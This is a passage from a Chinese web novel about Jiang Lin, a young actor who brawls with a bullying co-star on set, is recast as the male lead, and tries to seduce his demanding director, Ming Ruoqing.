明若卿的脸上洒下一片阴影显得尤其阴森,而江林靠在窗户前,唯一的光亮落在他轮廓分明的脸上, 高耸优越的鼻梁,眉眼间毫无心虚之感, 坦荡磊落,似乎刚刚说出那番话的人不是他。 “明导。”江林主动打招呼,眉眼一弯, 视线掠过他夹着烟的手指,快燃到尽头:“您也来抽烟啊?” 明若卿却一言不发, 眼尾藏着刀似的,目光沉沉,脚步未停直直朝着江林走来。 江林站着没动,不惧他那要压弯脊梁的沉甸眼神,唇角弧度也无半点变化,他不信明若卿能揍他。 明若卿轻轻擦过他的肩膀, 两人靠得近, 江林都能瞧见他眼下因为熬夜出现的点点青色, 他抬头将烟头湮灭在江林的水晶烟灰缸里。 江林不是个没素质的人,他自己准备了烟灰缸, 不会乱扔烟头, 不给任何人抓到一点破坏形象、没有素质的把柄。 潜规则什么的不算。 明若卿掐灭了烟,才抬眼看向江林,两人在光阴错乱间对上了眼神, 一个不甚在意地含着笑,一个带着刨根问底的疑问。 “导演?”江林又喊了一句,眼神询问。 “你刚刚和老辛在说什么?”明若卿帽檐下的眼神犀利, 宛如测谎仪,想观察江林有没有演戏说谎。 江林对于他的直白也并不意外,像明若卿这种人,自视甚高,并不懂得委婉,毕竟明若卿不需要顾及任何人的死活。 “说什么?”江林此刻和明若卿平视着,两人身高相差无几,稍稍眯起眼,两人隔得也近,一拳的距离。 明若卿便见江林突然朝着他靠近,动作很快,两人肌肤下一瞬就要碰到一起。明大导演被他直接靠近的动作弄得一慌,下意识后退两步,张嘴就要骂。 如果不躲,两人就要撞在一起了。 但旋即就看见江林只是掐灭烟,有些无辜地抬眼,语气有些好笑:“导演您反应这么大干什么?我就灭灭烟。” 明若卿倒也不好再借此发挥,毕竟刚刚的确是他挡了江林的位置,只是脸色越发不好看了。 江林继续刚刚的话题,多情的眼看狗都深情,如同一汪清湖,又藏着坏。他语气轻了些,小了些,似乎怕被其他有心之人听了去:“明导,您剧组的人背后造谣我,给我泼脏水,您不管管啊?” 明若卿倒没想到这人脸皮这般厚,颠倒黑白的能力这么出众,唇角牵扯起冷笑:“你把刚刚和老辛说的话,当着我的面儿重复一遍。” 明若卿混娱乐圈这么多年,自然受到不少明里暗里的造谣和诽谤,不过大家都知道他的身份,倒是没人说他靠身体换取资源,但会造谣谁谁爬上他的床 但这些谣言,会随着节目的播出不攻而破。 这是他第一次听见有人当着他的面说他这些私事,平时没听见就算了,这次听见了,明若卿就打算给当事人一个教训的。 原本他就是对江林没好感。 江林多聪明,自然不可能蠢蛋一样重复,明若卿满脸严肃,他就是唇角含笑,眉眼散漫,突然开口发问:“明导你喜欢男人还是女人?” 明若卿唇角抿起,没说话。 “他们网上说您男女通吃?最喜欢未成年?” “放屁!”明若卿瞬间怒火撩了眉毛:“这种话是随便能说的?” “那我就放心了,明导不是违法犯罪的人。”江林又接着道:“他们都说我是走后门的,冤枉我,也看不起您我觉着吧,明导你身边缺不缺人啊” 若是一般人被上司抓到自己背后说话坏,大概会惊慌失措,脸色大变的解释和道歉一条龙。江林倒好,直接顺势说出了自己的打算。 明若卿对于他如此轻佻的行为,眉头皱得更深了,如同山川似的隆起:“你也是这么和明若童说的?” “明若童是哪位啊?”江林露出疑惑的表情,旋即又露出恍然大悟的表情:“明导的弟弟吧?我不认识,我就喜欢像明导这样有才华的男人,一般人我可瞧不上。” 明若卿悬着的心落下,还好不是最坏的结果,对于江林的自荐枕席倒是并不意外,毕竟他遇见过太多这种人,基于江林演技还算过关,且没有对他弟弟下手。 他难得不计较江林的冒犯,只是深深看了他一眼:“年轻人别想着走捷径。” 江林睫毛微抬,撇了撇嘴:“这话说的,明叔你比我大几岁啊?我二十岁正好,叔您呢?” 二十八岁的明若卿被这句叔喊得脖子上的汗毛都竖了起来。 明若卿不想继续和他扯皮,就要推开消防通道的门走了。 江林在他身后拉长语调道:“叔啊,以后改变主意记得找我啊,随时恭候” 明若卿因为演技对江林的一点改观又落入了谷底,脸色沉下来,像这种只想走捷径的人,似乎不值得他的赞赏。 江林自言自语道:“牙口不好,吃点软饭,那咋了?” 而且这个圈子,有时候不是他想不想吃的问题,而是他不得不吃。 与其便宜那些老咕噜棒子,还不如他自己主动出击呢。 /// 拍摄还算顺利,江林不是挨骂最多的那个。那种一视同仁的挨骂,让江林和尤亿还建立起了一点革命友谊。陶闲没建立上,没办法之前江林蛐蛐他被他助理听见,想来也好不了。 江林饰演的佘莫是一个非常苦逼的角色,身不由己地杀人,看着喜欢的人和他人恩爱生子,自己还要为他们两人的爱情勤勤恳恳地打工。 “怎么说,这个妆造好不好看?”江林看向来探班的红姐展示自己的妆容。 他眼尾带着一点暗色的眼线,穿着一身深黑色的衣袍,上面有金色的蛇盘旋,头发接了几根绿色,眼尾的眼线也带着点绿色,胸口还有浅绿色的蛇鳞妆造。 江林一直对自己长相很看重,立志要当娱乐圈颜一,这场戏是他最严阵以待的一场戏。 他需要下水,是佘莫受伤之后,在水池中疗伤的画面,彼时他在池中疗伤,他心爱的姑娘躲在石头后面陪着他。 蒋红看着他自信的脸庞,很想说打击人的话,但看着他那张脸,完全说不出口。 要不说大剧组底蕴深,妆造好,还真没得说。 “行,很顶。”蒋红竖起大拇指。 江林满意地拿起手机浅浅拍了几十张,2TB的手机内存都装不下他的帅气了。 初冬十一月,十来度的天气,入水算是不小的挑战,天空还下起了毛毛雨,沾湿睫毛,脸上镀上了一层水雾,他一脚踩入人造湖中,冰冷的水淹没他的大腿,冻得他一哆嗦。 旁边都是朵朵绽放的莲花,枝繁叶茂,绿叶森森,他躺在莲花池中,任由冰水淹没他的肩膀、脖颈、下巴,露出一双带着美瞳的泛绿眸子。 道具老师小心地舀来温水打湿他的头发,就算是贴头皮的造型,江林也完全扛得住,额头饱满光洁,越发衬得眉色黛妍,嘴唇红而艳 明若卿坐在监视器后,看着江林的表现,虽然他开拍之前瑟瑟发抖,但真的开拍之后,就半点看不出瑟缩。 浮沉在灿灿莲花中心的蛇妖,痛苦地拧起眉心,衣袍之间有金色的蛇在窜动,似乎因为疼痛眼皮红红,半垂着乌黑的睫毛,令人心颤的破碎感。 他红唇半张,隐秘的色气,细密的雨,更像是美丽的点缀,落在他皮肤的绒毛上,镀上一层清晰的水雾,眉眼清亮,是一只让人无法指摘的‘蛇妖’。 监视器画面一转,出现尤亿那张饱含隐忍的脸。 飘飘细雨成为最好的布景,雨和泪水尽数从姑娘脸上滑落,身上华丽的衣服变成了沉重的累赘,表情悲伤到位 随着一声卡,江林一股脑站起来,水珠乱飞,牙齿都在打颤,“嘶嘶,冷死了” 小庄连忙给他包裹上浴巾,他站在水中发抖,视线看着不远处的明若卿,开口问:“导演还要再来一条吗?” “嗯。”明若卿走近他,眼神严肃又正经,“拍一个你从水中出来的画面,注意表情,不要狰狞。不要让头发遮住你的眼睛,刚刚的表现不错,但眼神还不够,更加冷一点,妖一点,更没有人性一点不要刻意勾引……” 明若卿简短地提出要求,也不耽误时间,立刻要求重拍。 他的剧,剧情好,服化道美,他也不吝啬于拍美人,吹毛求疵力求最好。 明若卿原本没打算拍这么多遍的,但是因为江林的表现力,让他来了动力。 江林整个人钻进水里,又冲出水面,第一遍不行,因为他眼睛来不及睁开,第二遍也不行,这次是因为尤亿的状态不对,第三遍也没过 直到第十遍,明若卿才勉强满意,江林彼时感觉自己冻成了冰雕,还是周围的工作人员把他从水里捞出来,浑身都在控制不住地发抖,感觉不到冷热了。 “这遍不错,今天你的戏份都拍完了,你可以先回酒店休息。”明若卿对裹着毛毯在火炉前瑟瑟发抖的江林说。 江林露出笑容,嬉笑道:“成,那我先走了。” 江林卸完妆,回到酒店,感觉鼻子有些不舒服,凉凉的,让小庄买了感冒冲剂,睡觉之前脑海还晕乎乎的,心想完蛋,感冒了。 而晚上#江遂绝美蛇妖#的热搜冲上了高位。 互联网更新换代快,就算江林骚操作频出,但也有很大部分人不认识他,那几张照片被男主站姐发在网上,且站姐当场转粉。 这下又引发了一场骂战。 但其中也有真的喜欢江林颜值的,怒涨五万粉丝。 【大家吵归吵,但江遂的帅,我是认同的。】 【顶级浓颜系帅哥。】 【家妻见笑了。】 【不要放过这个蛇塑帅哥啊!!!】 这几天是他最后的戏份,他和女主和男主的对手戏。 清晨,小庄看着手上显示38.5摄氏度的体温表,欲言又止:“江哥,不然我们今天请假吧?你身体哪里扛得住?” 江林挣眼都费劲,却不得不强打精神,轻咳一声,声音沙哑:“不行,你以为剧组会等我,男女主还要配合我的时间和身体状况吗?” 他出门前吃了退烧药,因为生病整个人状态都不太好,幸好台词已经背得滚瓜烂熟,化妆师给他上粉底的时候,江林还说:“麻烦溜溜姐,别让人看出来我状态不好。” 溜溜戴着口罩,看着带病坚持的江林,心生佩服,“包在我身上。” 剧情是佘莫被男主击败之后,被主角团设计骗出来意图捕杀。几人之间有一些打斗场面,还需要吊威亚,主要是佘莫挨打的剧情。 男主邱宇成是这两年炙手可热的演员,之前都是演一些霸总,逐渐被网友说油腻,最近来明导剧组去油了,现代剧不错,但古代造型就有些普通了,特别是在江林的衬托下。 邱宇成看着江林的那张脸便有些不爽,谁也不想看见自己被男配艳压,明里暗里提出想要妆造更精致些,或者让江林扮丑。 这些提议让明若卿对着他一顿冷嘲热讽,他才愤愤地歇了心思,但嫉妒这种东西落了根。 昨晚的事情也让他耿耿于怀,不过一夜之间恨死了江林。 江林第一次吊威亚,悬在空中,旁边都是绿布,大风扇对着他的头吹,想塑造飘飘欲仙的感觉,但他的脑袋更加不清醒了。 两人走戏的时候还好好的,正式开拍的时候,邱宇成一脚踹在江林肚子上,半点没收着力气,江林胃里一阵恶心,差点吐出来,他没来得及做下面的动作。 明若卿拧着眉喊卡,邱宇成连忙露出抱歉的神情,“不好意思啊,明导,我之前没吊过威亚,也拍过古装,下手没轻重” 江林捂着胃,咬了咬牙,脊背一层汗,不知道是因为身体发热,还是因为疼的。 明若卿表情不善,“下不为例。” 邱宇成笑着说好嘞,但是看向江林的眼神却高傲鄙夷,他长得不算好看,自认为是靠演技吃饭的,最看不上江林这种靠脸吃饭的。 而且他是前辈,他料定江林不敢对他怎么样。 邱宇成的这两年风头很盛,到哪都是被人捧着,有些分不清东南西北了。穷人乍富,不知死活。 江林平时眼角眉梢都缀着散漫和不经意的笑意,脾气很好,现在却有些冷了。两人的动作都是专业人士指导的,之前还好好的,但此刻却问题频出。 邱宇成下手黑,这种借着剧情欺负后辈的事情也不是第一次了,心中也压着一股怨气要和明若卿作对,不满他的建议被驳回,自己没了面子。 江林脖子被邱宇成的手狠狠砍了一下,脖子一歪,眼前一花,两人还在空中拳打脚踢,江林面目狰狞了一瞬,却还是咬牙没有露出破绽。 明若卿在监视器前的脸色却黑沉下来,他允许手下演员的明争暗斗,但前提是不能影响他的拍摄,像邱宇成这种,他十年都没有遇见三个。 当初邱宇成面试的时候可不是这样的。 制片人也看出一点端倪,端详着剧组‘老皇上’的脸,低声道:“明哥,听溜溜说,这江遂昨晚下水冻感冒了,正发着高烧呢。” 明若卿看了她一眼,难怪感觉他今天状态好像有些不对劲。 江林忍耐着拍完吊威亚的戏份,他被打落到地面上,两人还要继续缠斗,明若卿也没喊卡,邱宇成便抬脚踹在他手臂上。 江林手臂一疼,彻底忍无可忍了,一把抓住邱宇成的脚踝大力一扯,他便身体失衡地倒下。 江林翻身压在他身上,一拳揍在邱宇成脸上,骂道:“我操你大爷的狗儿子来,继续打,谁怂谁是儿子” 旁边的演员惊呆了,立在原地。 邱宇成震惊地看着江林,然后眼眶狠狠挨了一拳,顿时大叫起来:“啊啊!杀人啦,你他妈的干什么江遂,你操别打了。” 这场闹剧就水亮亮在几十人面前发生了,且明若卿一直坐着没动,没有任何指示,便也没有一个人敢离开自己的位置去劝架。 邱宇成的工作人员倒是想上去,但直接被道具组那群大汉挡住了去路。 江林虽然感冒了,出门的时候还浑身无力呢,此刻却像是打了鸡血,拳拳到肉,这可能就是精神激励法吧。 他坐在邱宇成身上揍他,拳头砸在他脸上,“就你这丑逼样,不知道你粉丝怎么想的,没吃过细糠吧,老子就比你帅,怎么的?” 江林解气了,将邱宇成差点揍晕过去,拳头上都染上了斑斑血迹,这才听见迟迟未到的一声——卡。 这下全剧组的人蜂拥而上,将两人拉开,邱宇成吐着血,在那头叫骂:“江遂你有种别走,老子他妈的弄死你” 江林趁乱一脚踹在他腰上,也是高声叫嚷着:“来来来,我怕你这个孬种啊?你敢站在我面前吗?” 明若卿冷静地看着这场自己纵容的闹剧,面色阴沉地坐在座位上,不动如山,直到邱宇成被送到医院,剧组才安静下来。 而在这时,昨晚上代拍江遂蛇妖的热搜还没降下去。 便传出江遂和邱宇成片场互殴的消息,甚至还有一些模糊的视频。 一下便掀起大片浪潮。 【不是江遂怎么能有种成这样?】 【邱宇成被打?哈哈哈,笑死,早看这个装男不顺眼了。】 【这个江遂到底是谁啊,这些天都是他的热搜。】 【无人在意。】 【我听业内人士爆料,江遂是个资源咖,否则以他的咖位根本摸不到明若卿导演的戏。】 【那还不得被邱宇成的粉丝喷死啊?】 【江遂有粉丝吗?怕是扛不住骂。】 【‘姜片’默默举手,咱们什么也不敢说,什么也不敢做,都来看我们江遂的盛世美颜吧(尊嘟很米。)】 /// 主演团也全部傻眼了,在场的每个人都傻眼了,没想到江林敢正面硬刚,邱宇成都是借着暗劲使阴招,且背后靠着大公司,好像还是某个资本力捧的对象,其他人都敬他三分。 江林喘着粗气,吐出的气体都滚烫,眼圈湿润,脑袋眩晕,全身挨打的地方也疼,恨不得揍死那孙子,但体力透支,只能放他一马。 “放假一天,都回去休息吧。”明若卿语气沉稳,现场和网络上闹翻天,他还是不动如山,视线一一扫过那些八卦的目光,威慑力之强,让七嘴八舌的人群瞬间安静,且在两分钟全部撤离现场。 只剩下江林和小庄,还有制片人和副导演和执行导演零星几个人在片场。 江林坐在位置上张着唇吐气,仰头看着朝他看来的明若卿,没有大祸临头的紧张,勉强弯了弯唇,告状似的说:“您看见了吧,是他先动的手。” 制片人偷瞄明若卿的表情,只见他面无表情。 江林耸了耸肩,“好吧,我犯了错,什么处罚我都接受,明导别生气了。” 明若卿依旧沉默。 “还有昨晚上的热搜不是我买的,你别冤枉我。”江林站起身来,却身形一晃,小庄眼疾手快地扶住他,正主还没哭,他这个小助理已经掉眼泪了。 “谁冤枉你了?”明若卿斜看他一眼。 “今早上您一看见我就瞪,不就是以为那个热搜是我故意的吗?”江林理直气壮反驳。 明若卿没反驳,声音低沉:“你先回去休息,医生马上上门给你看病,下次没必要带病坚持工作,真的出事了,我可赔不起。” 江林便笑了起来,刚刚还虚弱病气的脸瞬间就春暖花开:“明导还是心疼我哈,邱宇成被打成那个狗样您也没给他找医生嘿,我就知道您是个明事理的好导演。” 明明江林和谁都是这般插科打诨,仗着一张俊美的脸到处骗吃骗喝,但这番对话却莫名让人精似的制片人琢磨出一点不对劲儿。 平时可从来没人敢和明若卿开玩笑,像闹出这种事情,一般明导的处理方式就是各打二十大板,这次好像有些变化呢。 制片人和副导演对视一眼,又慢慢移开。 明若卿骂道:“快滚。” “好哦,好哦。”江林松开小庄的手,没有继续装柔弱。 只剩下明若卿的老班底们,制片人张琴脸上挂着点笑:“导演咱们剧组又出热搜了。” 副导演也缓和气氛:“这次我们剧组可是出尽了风头,从选角开始就霸占热搜。” 明若卿给自己点了根烟。 “那邱宇成那边怎么说?他经纪人刚刚还在给我发消息问情况。”张琴似乎有些无奈,也是第一次遇见这么凶的演员,把人打得鼻青脸肿,鼻血横流,没有人样了。 “违约金付了,这男主我们剧组请不起。”明若卿不准备继续用邱宇成,好在才开拍十来天,一切重来都来得及。 就算拍到结局,明若卿临时换主演都是有过的。 张琴:“好嘞。” 她没有任何的异议,在他们剧组明若卿就是老皇上。 “那这男主人选?”副导演提问。 明若卿冷冷看他一眼。 副导演充当起了太监的角色,完全摸清楚了明若卿的心思:“我觉着吧,江遂的可塑性挺强的” 第76章 酒店的窗户被小庄关上, 他还在絮絮叨叨念着:“江哥,我就说今天不该去片场的” 江林躺进被子里,脑袋都缩了进去, 有气无力地回怼:“你哥我也没吃亏不是?那孙子比我惨,可能还要去整容正骨, 不过他那张脸就应该早点去整容,难看死了。” “那完蛋了,他会不会起诉你啊, 然后报警说你故意伤人?”小庄还是有些法律意识的。 “没事儿,我手上有不少他的黑料呢, 他敢报警我就敢爆料,大家一起死。”江林烧得脸颊泛红,额头的刘海还是湿的,刚刚卸完妆。 “好吧,明导说的医生怎么还不来啊。”小庄的话音落下,门口就响起敲门声。 说曹操, 曹操到。 江林量了体温, 身上也有不少瘀青, 老医生给他伤口上揉了药,疼痛的地方不断发热, 浑身像是在火炉中。 “三十九度多, 光吃药是很难短时间退烧,需要打几针,你等我十分钟, 我配好药上来。”医生推了推鼻梁上的老花镜,他是医院的退休医生,在附近开了一家诊所。 江林乖乖应道:“嗯嗯嗯。” 他随后陷入昏睡, 浑浑噩噩,手背上被扎了针都没醒,小庄一直守在他床前,注意他的睡姿不要压手上的钢针,期间红姐急急忙忙赶过来,然后又被制片人叫了出去。 再次回来就见红姐喜上眉梢,唇角的笑意压都压不住。 21:34 江林是被饿醒的,被单都被他汗水沁湿了,一睁眼就瞧见小庄提溜着脑袋,眼皮一眯一眯的。正在沙发上看剧本的蒋红察觉出动静,扫向他才发现他醒了。 “呦,咱们江门战士醒了?”蒋红扔下手上的剧本,倒不是问责的语气,眼尾还带着笑。 江林挣扎着坐起来,头抵在床头,浑身酸痛,温度也没降下去,但是脑袋已经没有这么疼和恶心了,他勾起唇:“红姐,你怎么也在呢?小庄给我点个外卖。” “你出了这么大的事儿我能不来吗?”蒋红深深地打量了江林一眼,以前只知道这人是个趋炎附势、能屈能伸的,倒不曾发现还是睚眦必报、吃不得亏的。 “没多大事儿”江林不以为然,他还是有点金手指的,就邱宇成私下做的事就能让他一塌再塌。 蒋红吐出一口浊气:“刚刚张琴跟我说,邱宇成的男主换人了,你知道换成谁了吗?” 江林挑眉看她的表情,笑容微微一怔:“难不成换成我了?” “嗯哼。”蒋红眼热地看着江林:“你的福气要来了江林。” 小庄听到这话手机都给掉地上了,这男主说换就能换的? 江林松散的眼神凝了凝,没想到明若卿会做这个决定,毕竟只要明若卿想,他有很多的选择。 “合同签了吗?男主片酬高低也得七位数吧。” “?”蒋红笑了,“你真是片酬是重点吗?” “是啊,钱就是最重要的。”江林红扑扑的脸上扯出一点笑容。 蒋红比了OK的手势:“行,我帮你去谈,后面的活动我能推的都把你推掉,你先专心拍戏。” /// 邱宇成被换角,深夜发文emo,暗指江林职场霸凌,江林的账号再次沦陷,全部都是别的粉丝团建,也是独一份了。 江林没有任何回应,美美成为明导男一。 女主和其他配角咖位都比他大,却不敢多说一个字。 一来,明若卿一向喜欢用新人。二来,江林一战成名,根本没人敢惹他。 他的角色也有另外的男演员代替,如果不是邱宇成的站姐,江林蛇塑帅哥的照片根本没有机会再流露出去。 明若卿让他养了三天病,勒令他把剧本通读最少两遍。 江林病好之后,便马不停蹄地开始开拍。 男主邵依尘是某门派新入门的弟子,自身是废材一枚,修炼进步缓慢,但有通灵请神的金手指,祖辈和师门都是能人辈出。 在关键时候总是能化险为夷,扮猪吃老虎。 邵依尘原本是小某家药店的小伙计,毕生愿望是能够娶药店大小姐成为一个赘婿,但某次意外,药店被洗劫一空,无人生还,灭门惨案。 江林因为外出采买药材才躲过一劫,后被师门师兄所救。 从此踏上了救浮生、探灭门真相之路。 他贪生怕死,却在结局为天下人而死。 邵依尘的造型没有佘莫的精致,比较潦草,难掩帅气。 女主沉诗澜前两年有过爆剧的流量小花,年纪比他大上五岁,他一口一个澜姐叫得亲热。 沉诗澜也丝毫没有架子,笑着和他亲昵玩笑,毕竟炒cp这种事情是互利共赢的,还能省下营销费,增加热度呢。 沉诗澜也不太敢得罪江林,心中已经认定江林是个资源咖,可能和导演关系匪浅,她把握着分寸,既不敢太靠近,又不敢太疏离。 “江遂,你的站位还有点问题,不要挡住其他演员的脸。”明若卿拧着眉提醒道,倒是没发火。 江林之前毕竟只是自我发挥氏的演技,正儿八经在摄像机下演戏还是比较少的,所以这里面他是最经常出问题的。 “好的,抱歉,马上好。”江林有错就认,也不犟嘴。 在这期间,明若卿明显发现江林是飞速成长型艺人,不管是演技还是走位,像是一块顽石逐渐被雕琢成璞玉。 起初,明若卿还有些担心江林担不起这个男主,也随时做好换掉他的准备,后面发现是他多虑了。 一月的时间,进度也到了四分之一。 江林成为明若卿男主的事情在业内不胫而走后,那些品牌方像是闻着味来的狼,纷纷开始找蒋红谈合作,而原本迟迟不曾定下来的限定团团综突然就定了下来。 此前因为团糊,桃子台的工作人员根本没空理江林,现在江林被列为他们内部的待爆名单中,桃子台的工作人员开始联系蒋红了。 江林还有一年半的合同是在桃子台手中的。 所以江林不得不参加他们的团综,桃子台也没打算把江林得罪了,没有借机安排别的工作,只是让他每周抽出一天去参加团综,团综拍摄场地都是选在他拍戏的同一座城市。 江林第一次请假就挨骂了。 “你说什么?”明若卿抬眼,表情有些冷酷,他的剧组除非是生死大事,一般都不准请假,你用你的休息时间去没关系,但不能耽误剧组的进度。 江林摸了摸脖子,似乎也知道这么做有些不厚道,还有点小牌大耍的嫌疑,“我那个限定团是两年的,我的合同还在他们手里,必须参加一下,我发誓不会耽误进度,您今天先拍其他戏份可以吗?” “江遂,你”明若卿把资料一甩,只是起了一个口,江林就和他一起说出那句:“你能演,演不了滚蛋。” 江林双手合十,作出拜托拜托的手势,“导演,我想演,也能演。但我就是个小演员,不敢得罪人家大平台哇,就这一次,以后我再不请假,都用休息时间去成吗?” 明若卿定定看了他两眼:“下不为例,再有下次你给我卷铺盖走人。” “好嘞,好嘞。”江林嘻嘻笑起来。 “晚上回来,来找我。”明若卿准备给他讲讲戏。 江林眨了眨眼,像是吐泡泡的鱼,慢慢吐出一句:“好哦。” 明若卿已经把脑袋低下去了,没有发现江林那意味深长的目光。 /// 团综的路透,让江林和宁星安的cp粉瞬间兴奋起来。 超话各种两人说笑的照片,剪得还真像那么回事,两人像是藏着私情似的。 两人穿着同色系的团服,两人做游戏也是绑定在一起的,游戏策划像是知道观众想看什么。 在这个团中,就只有江林和宁星安的热度最大。 江林饶有兴趣地看着宁星安那张优越俊秀的脸,如果没点颜值也很难能够吸引这么大的流量,但今天他却绷着一张脸主动和自己炒cp。 “不是,宁星安你这是在蹭我热度吗?”江林和宁星安在休息室,旁边还有两个团员,他便这么水灵灵地问出口了。 原主曾经舔着脸皮蹭热度,又被宁星安狠狠嘲讽过的,今天却是他主动靠近江林。 明若卿真是威名远扬啊,成为他的男主,似乎没有人觉得江林不会红,娱乐圈现实的嘴脸就显露出来了。 若是两个正在上升期的人炒cp那叫互利共赢,若是位置相差太大,那就是蹭热度。 “?”宁星安冷着脸:“你想什么呢?这些不都是节目组的安排吗?” 江林不屑地撇了撇嘴,宁星安面如炭黑,男团卖腐,营销炒作,几乎是惯用套路。 录到半夜才收工,回去之前江林还接到了节目组的任务,让他们回去练舞,会有舞台秀。 江林匆匆洗完澡,才拿着剧本去导演的房间,彼时已经十二点了。 明若卿为了方便将整个剧组的人都安排在这个酒店里。 他还以为明若卿睡了,按响门铃,没想到很快就开了。 明若卿穿着睡衣,屋里开着暖气,他没戴帽子,露出凌乱的头发,头发很长几乎遮住了他的眼珠子,像个丧气十足的艺术家,身上的沉稳老沉感消散不少。 江林见只有他们两人在,便吊儿郎当拉长语调道:“明叔——” 明若卿瞪了他一眼,江林丝毫不害怕笑眯眯看着他。 偌大的客厅,一间卧房,另外一间被临时改造成了书房。 明若卿领着江林进了书房,江林手上拿着沉甸甸的剧本,他刚刚在车上还在背台词。 “今天录制顺利吗?”明若卿给他递上一杯咖啡,他也不是每时每刻都绷着个脸的,只要他手下的人不犯错,他很少发火。 “嗯嗯,就玩了下游戏。”江林接过咖啡,看着苦咖啡,双手捧着温热的杯壁,“大晚上的喝咖啡,我会睡不着的。” 明若卿手边是喝完大半的冰美式。 “还是明导喝吧。”江林转手把咖啡推了过去。 他顺势脱下大衣,里面是乳白的睡衣,前面两颗扣子没扣好,V领深陷,冷白的肌肤甚至比睡衣颜色还要浅,睡衣够薄,江林又刚刚洗完澡,豆子□□,轮廓分明。 明若卿扫了一眼,眉头又是一拧,视线略过江林的脸,精雕细琢的五官,唇角含着无辜的笑,就算素颜也极为抗打,眉舒眼淡,欲望却写在脸上。 他是故意的。 江林眼角眉梢带着蛊惑人心的笑,他紧紧盯着明若卿,手腕撑着自己的下巴,微微俯身,那领口打开的衣襟,完全便宜了明若卿。 “明导,你给我讲戏呗。”江林并不是对每个人都这么没分寸感,平时其他人都只觉得江林是弟弟,是可爱撒欢的小狗。 但在明若卿面前这是他第二次表露自己的锋芒和欲望。 “不知道我和澜姐有没有床戏啊,导演你给我讲讲呗。”江林浮于表面的勾引,放在他脸上却半点不显得艳俗,倒是直白真诚又灿烂。 “”明若卿被不少人勾引过,但那些都是角色确定前,像江林这种连吃带拿的还真不多,他脸色微沉,只觉得江林胆大包天:“你没看过剧本吗?男女主两个吻都没有,哪里来的床戏?” 江林遗憾地努嘴,扫开桌上的东西,屈膝便往桌上爬,身体微微前倾,漂亮健康的身体展露无遗,缓缓朝着明若卿靠近。 他真的将娱乐圈为了上位不择手段的男人演得淋漓尽致。 什么是节操?什么是自尊?什么是爱情? 他统统都不知道,他只知道他要火。 明若卿的脸更黑了,实在不懂江林这一出是在干什么,明明一个演技挺好的男孩儿,偏偏不走正道。 “明叔,加一场吻戏呗。”江林距离明若卿咫尺距离,眼神灼灼。 明若卿能看得见江林鼻尖上的绒毛,呼吸都快交缠在一起,他坐着没动,赌江林不敢靠近。 但江林以为他欣然接受,偏头吻在他嘴唇上,两唇轻轻一碰,江林身上沐浴乳的芬芳袭来。 江林垂下睫毛,嘴唇抿了抿唇,还没来得及伸舌头,明若卿便猛地站立起来,连带着凳子都往后退了两步,面色难看:“江遂,如果不想明天滚出剧组,就给我冷静一点。” 江林眨了眨眼,眼神逐渐变得无辜,反问:“明导叫我来不是想要这个吗?” “我说讲戏,你听不懂人话吗?”明若卿揉了揉眉心。 “但剧组的人都说,你留下我当男主是因为我长得好,要睡我的。”江林顿了顿,“我想着我自己要懂事一点,不要让导演来请” 明若卿呼出一口气,太阳穴还在凸凸的跳:“你觉得我打得这种心思,我会找你吗?” “为什么不找我?我长得这么好”江林立即反驳道。 “啧。”明若卿不耐烦了。 江林倏地一笑,靠在桌子上,眼底无辜明亮消失,歪着脑袋叹气:“好吧,那些都是借口,我就是喜欢您这样厉害的人。” “不过您放心,我绝对不会影响我的工作,也不会再继续打扰纠缠您的,好了,您要和我讲什么戏”江林把自己的睡衣扣得严严实实,捡起地上扫落的笔。 不愧是演员,情绪收放自如。 明若卿想开口指责两句,却发现江林已经乖巧得像个学生,求知若渴地看着他,刚刚那瞬间表露出的诱惑神情早就无影无踪。 “你下次”明若卿开口,江林再一次预判了他想说的话,两人一齐道:“下次再犯,卷铺盖走人。” 江林耸耸肩,露出一排整齐的小白牙:“好哦,好哦,知道啦。” 他此刻又像个主动认错的可爱狗狗。 嘴里好似没有半句真话。 明若卿见他这么快镇定下来,倒也不好再撂脸子,冷声呵斥,但到底还是有郁气难消,感觉被冒犯的同时,也有一种被戏耍的感觉。 那下面的讲戏,言辞就比较犀利了。 “你今天那场戏,在目睹好友奚海生被挟持的时候,用力过度,不知道还以为你死了爹娘” “好吧,好吧。”江林拉耸着耳朵道,也不反驳,笔在纸上划来划去,但根本没听进心里去,只是左耳朵进,右耳朵出。 “拍戏时候,动作不够严谨,仪态还是要跟着老师好好练练江遂,你塞进我们剧组,是爬了谁的床。”明若卿没忍住还是问出口。 “是爬了”江林下意识地回答,但立刻又闭了嘴,抬起对上明若卿犀利的眼,表情顿时有些心虚了。 他沉默不语。 明若卿盯着江林,知道他也许并不是一个善良的人,但他却的确是一个可塑之才,年纪也只比他弟弟大上两岁,他那天打架的狠劲儿,和明若童有些像。 所以他对江林更多些包容,也不想看好好的苗子误入歧途。 “好好拍戏。”明若卿声音轻了些,像将误入歧途的少年拉回正道:“演员安身立命的根本是演技。” 江林怔愣一瞬,并不认同,轻轻转着笔,唇角泛着一丝讽刺:“明叔你知道有多少演技好的老戏骨岌岌无名甚至无法养家糊口吗?你看现在娱乐圈的电视剧,主角哪个不是年轻漂亮的女孩儿,英俊帅气的男孩儿?那些毫无演技的流量明星不还是有无数粉丝吹捧,通告接到手软,赚得盆满钵满。哪个不是费尽心思往上爬?” “当然我完全没有瞧不起他们的意思,因为我也是这种人,陪人喝酒、睡觉都不是问题,只要能红。” “不是每个人都像您一样,本身就是大资本又能力强,所以可以随心所欲不受流量的裹挟。” “这是我内心的真实想法,我是把您当我亲近的人才说的,如果您因为我说了实话而辞退我,我也问心无愧,只会拿着高额的赔偿金滚蛋咯。” 这话是把明若卿堵死了。 ‘我把你当亲人,才会袒露心声哦,可不能骂我呦。’他话里话外透露着这种意思。 这一刻江林不像明若童,他有个鲜明的态度和坚定的目标,他知道自己想要什么。 这样的灵魂执拗又热烈,明若卿无法继续站着讲话不腰疼。江林说的是事实,这是娱乐圈的现状,还有更多腌臜事情甚至更加令人恶心。 他不知道江林以后会不会被这个圈子打磨成其他样子。 “并且导演你知道为什么我这么急不可耐想要爬你的床吗?因为我害怕。”江林唇角勾起淡漠的笑容,眉眼间的锋芒隐去,语气也轻了,有点点破碎感:“我觉得我配不上,所以想要付出一点什么” “我不想被轻而易举地换掉。” 明若卿喜怒无常,邱宇成的事情搞得剧组人心惶惶,但他其实并不是那种不容人的性格,只要不触及他的底线,他愿意教新人成长,只是比较严厉。 江林双腿说话间踩在椅子上,他轻轻抱着膝盖,弯着眼睛看他:“还是那句话,导演想睡我,随时都可以,但不要换掉我,不要给我希望,又让希望落入谷底。” 明若卿:“”话题又转回了原点。 